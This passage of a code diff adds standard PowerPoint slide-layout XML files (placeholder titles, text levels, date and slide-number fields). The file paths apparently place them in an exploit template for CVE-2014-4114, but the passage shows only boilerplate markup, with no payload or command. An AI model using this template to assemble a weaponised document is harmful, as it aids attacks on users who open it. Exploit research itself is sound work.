val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl9pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master subtitle style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="vertTx" preserve="1"><p:cSld name="Title and Vertical Text"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Vertical Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" orient="vert" idx="1"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="vertTitleAndTx" preserve="1"><p:cSld name="Vertical Title and Text"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Vertical Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title" orient="vert"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="6629400" y="274638"/><a:ext cx="2057400" cy="5851525"/></a:xfrm></p:spPr><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Vertical Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" orient="vert" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="274638"/><a:ext cx="6019800" cy="5851525"/></a:xfrm></p:spPr><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="obj" preserve="1"><p:cSld name="Title and Content"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph idx="1"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="secHead" preserve="1"><p:cSld name="Section Header"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="722313" y="4406900"/><a:ext cx="7772400" cy="1362075"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="t"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="4000" b="1" cap="all"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="722313" y="2906713"/><a:ext cx="7772400" cy="1500187"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="2000"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1800"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1600"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="twoObj" preserve="1"><p:cSld name="Two Content"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph sz="half" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="1600200"/><a:ext cx="4038600" cy="4525963"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="2800"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2400"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2000"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="1800"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="1800"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="1800"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="1800"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="1800"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="1800"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Content Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="4648200" y="1600200"/><a:ext cx="4038600" cy="4525963"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="2800"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2400"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2000"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="1800"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="1800"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="1800"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="1800"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="1800"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="1800"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="titleOnly" preserve="1"><p:cSld name="Title Only"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Date Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Footer Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Slide Number Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>‹#›</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>

data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
